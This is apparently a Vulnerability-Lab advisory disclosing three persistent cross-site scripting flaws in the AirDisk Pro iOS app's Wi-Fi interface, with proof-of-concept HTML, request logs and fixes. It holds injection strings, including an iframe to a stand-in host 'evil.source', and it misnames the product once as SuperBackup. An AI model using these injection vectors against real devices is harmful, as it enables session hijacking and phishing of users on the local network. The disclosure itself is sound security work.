Document Title:
===============
AirDisk Pro v5.5.3 iOS - Multiple Persistent Vulnerabilities


Date:
=====
2020-04-14


References:
===========
https://www.vulnerability-lab.com/get_content.php?id=2203

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-12129
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-12130
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-12131

CVE-ID:
=====
CVE-2020-12129


VL-ID:
=====
2203


Common Vulnerability Scoring System:
====================================
4.5


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Introduction:
=============
File sharing with other iOS devices via Bluetooth or Wi-Fi connection with automatic search of nearest devices.
Users can perform file operations on the application like: Copy, Move, Zip, Unzip, Rename, Delete, Email, and more.
Easy to create file like: Text File, New folder, Playlist, Take Photo/Video, Import From Library, and Voice Record.
AirDisk Pro allows you to store, view and manage files on your iPhone, iPad or iPod touch. You can connect to AirDisk 
Pro from any Mac or PC over the Wi-Fi network and transfer files by drag & drop files straight from the Finder or Windows 
Explorer. AirDisk Pro features document viewer, PDF reader, music player, image viewer, voice recorder, text editor, file 
manager and support most of the file operations: like delete, move, copy, email, share, zip, unzip and more. 

(Copy of the Homepage: https://apps.apple.com/us/app/airdisk-pro-wireless-flash/id505904421 )
(Copy of the Homepage: http://www.app2pro.com )


Abstract:
=========
The vulnerability laboratory core research team discovered multiple persistent web vulnerabilities in the AirDisk Pro v5.5.3 ios mobile application.


Affected Product(s):
====================
Felix Yew
Product: AirDisk Pro v5.5.3 (iOS)


Report-Timeline:
================
2020-04-15: Public Disclosure (Vulnerability Laboratory)


Status:
========
Published


Exploitation-Technique:
=======================
Remote


Severity:
=========
Medium


Details:
========
Multiple persistent cross site scripting vulnerability has been discovered in the official SuperBackup v2.0.5 ios mobile application.
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise the mobile 
web-application from the application-side.

The first vulnerability is located in the `createFolder` parameter of the `Create Folder` function. Attackers are able to name 
or rename paths via airdisk pro ui to malicious persistent script codes. Thus allows to execute the persistent injected script 
code on the front site of the path index listing in the content itself on each refresh. The request method to inject is POST 
and the attack vector is located on the application-side. Interaction to exploit is as well possible through the unauthenticated 
started ftp service on the local network.

The second vulnerability is located in the `deleteFile` parameter of the `Delete` function. The output location with the popup 
that asks for permission to delete, allows to execute the script code. The injection point is the file parameter and the execution 
point occurs in the visible delete popup with the permission question. The request method to inject is POST and the attack vector 
is located on the application-side.

The third web vulnerability is located in the `devicename` parameter that is displayed on the top next to the airdisk pro ui logo. 
Remote attackers are able to inject own malicious persistent script code by manipulation of the local apple devicename information.
The injection point is the devicename information and the execution point occurs in the file sharing ui panel of the airdisk pro 
mobile web-application.

Remote attackers are able to inject own script codes to the client-side requested vulnerable web-application parameters. The attack 
vector of the vulnerability is persistent and the request method to inject/execute is POST. The vulnerabilities are classic client-side 
cross site scripting vulnerabilities. Successful exploitation of the vulnerability results in session hijacking, persistent phishing 
attacks, persistent external redirects to malicious source and persistent manipulation of affected application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] AirDisk pro Wifi UI

Vulnerable Parameter(s):
[+] createFolder
[+] deleteFile
[+] devicename


Proof of Concept:
=================
The persistent input validation web vulnerabilities can be exploited by remote attackers with wifi access with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


1. Create Folder

PoC: Vulnerable Source
<tbody>
<form name="checkbox_form"></form>
<tr><td class="e"><input type="checkbox" name="selection" value="test"></td><td class="i"><a href="test/"><img src="/webroot/fileicons/folder.png" 
width="20" height="20"></a></td><td class="n"><a href="test/">test</a></td><td class="m">11 Apr 2020 at 12:35</td><td class="s"></td><td class="k">Folder</td>
<td class="e"><span style="height:15px; width:15px;">&nbsp;</span></td><td class="e"><a href="#" title="Rename file" onclick="modalPopup(&quot;test&quot;, 0, 0);">
<img src="/webroot/webrename.png" width="15" height="15"></a></td><td class="e"><a href="#" title="Delete file" onclick="modalPopup(&quot;test&quot;, 2, 0);">
<img src="/webroot/webdelete.png" width="15" height="15"></a></td></tr><tr class="c"><td class="e"><input type="checkbox" name="selection" 
value="test%3E%22%3Ciframe%20src=a%3E"></td><td class="i"><a href="[MALICIOUS INJECTED SCRIPT CODE!]test%3E%22%3Ciframe%20src=evil.source%3E/">
<img src="/webroot/fileicons/folder.png" width="20" height="20"></a></td><td class="n">
<a href="[MALICIOUS INJECTED SCRIPT CODE!]test%3E%22%3Ciframe%20src=evil.source%3E/">test&gt;"<iframe src="evil.source"></a></td>
<td class="m">11 Apr 2020 at 13:01</td><td class="s"></td><td class="k">Folder</td><td class="e"><span style="height:15px; width:15px;">&nbsp;</span></td><td class="e">
<a href="#" title="Rename file" onClick="modalPopup(&quot;test%3E%22%3Ciframe%20src=evil.source%3E&quot[MALICIOUS INJECTED SCRIPT CODE!];, 0, 1);">
<img src="/webroot/webrename.png" width="15" height="15"/></a></td><td class="e">
<a href="#" title="Delete file" onClick="modalPopup(&quot;test%3E%22%3Ciframe%20src=evil.source%3E&quot[MALICIOUS INJECTED SCRIPT CODE!];, 2, 1);">
<img src="/webroot/webdelete.png" width="15" height="15"/></a></td></tr><tr><td class="e"><input type="checkbox" name="selection" value="Help.webarchive" /></td>
<td class="i"><a href="Help.webarchive"><img src="/webroot/fileicons/webarchive.png" width="20" height="20"></a></td><td class="n">
<a href="Help.webarchive">Help.webarchive</a></td><td class="m">6 Dec 2019 at 05:22</td><td class="s">13.7 KB</td><td class="k">Safari Web Archive</td>
<td class="e"><a href="#" title="Download file" onClick="downloadFile(&quot;Help.webarchive&quot;);"><img src="/webroot/webdownload.png" 
width="15" height="15"/></a></td><td class="e"><a href="#" title="Rename file" onClick="modalPopup(&quot;Help.webarchive&quot;, 0, 2);">
<img src="/webroot/webrename.png" width="15" height="15"/></a></td><td class="e"><a href="#" title="Delete file" 
onClick="modalPopup(&quot;Help.webarchive&quot;, 2, 2);"><img src="/webroot/webdelete.png" width="15" height="15"/></a></td></tr>
</form>
</tbody>
</table>
</div>


--- PoC Session logs [POST] ---
http://localhost:80/
Host: localhost:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Origin: http://localhost:80
Connection: keep-alive
Referer: http://localhost:80/
Upgrade-Insecure-Requests: 1
createFolder=test>"<[MALICIOUS INJECTED SCRIPT CODE!]>&ID=0&submitButton=Create
-
POST: HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Length: 6257

Note: Adding via ftp on mkdir or file is as well possible without authentication on default setup.



2. Delete / Old Popup

PoC: Vulnerable Source
<div id="modal-content" class="simplemodal-data" style="display: block;">
	<div id="modal-title"><h3>Delete File</h3></div>
	<div id="modal-text"><a>Are you sure you want to delete this file?"test"</a></div>
	<form name="input" action="" method="post">
	<div id="modal-field"><input type="hidden" name="deleteFile" value="test"<iframe src="evil.source">[MALICIOUS INJECTED SCRIPT CODE]"></div>
	<input type="hidden" name="ID" id="ID" value="test">
	<input type="submit" name="submitButton" id="submitButton" value="Delete">
	</form>
</div>


--- PoC Session logs [POST] ---
http://localhost:80/
Host: localhost:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Origin: http://localhost:80
Connection: keep-alive
Referer: http://localhost:80/evil.source
Upgrade-Insecure-Requests: 1
deleteFile=New Folder&ID=New Folder&submitButton=Delete
-
POST: HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Length: 4699


Note: Comes up when somebody tries to delete the malicious injected path.


3. Devicename


PoC: Vulnerable Source
<div id="headerWraper">
	<table border="0" cellspacing="0" cellpadding="0" width="100%">
	  <tr>
	    <td><a href="./"><img src="/webroot/webicon.png" id="headerImg" width="57" height="57"/></a></td>
	    <td><h2>[MALICIOUS INJECTED SCRIPT CODE AS DEVICENAME]</h2></td>	
	  </tr>
    </table>
</div>


--- PoC Session logs [GET] ---
http://localhost:80/
Host: localhost:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Origin: http://localhost:80
Connection: keep-alive
Referer: http://localhost:80/evil.source
Upgrade-Insecure-Requests: 1
-
GET: HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Length: 4612

Note: Executes each time the wifi sharing ui service of airdisk pro is opened by the local or remote users.


Solution:
=========
1. Disallow special chars in the folder and filenames. Sanitize all inputs and filter all involved parameters to  prevent application-side attacks.
2. Parse the output location of the popup permission message content to prevent further executions after injects via post method.
3. Sanitize the devicename displayed on top of the wifi user interaction by a secure parsing mechanism.


Risk:
=====
The security risk of the persistent input validation web vulnerabilities in the application functions are estimated as medium.


Credits:
========
Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


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===========
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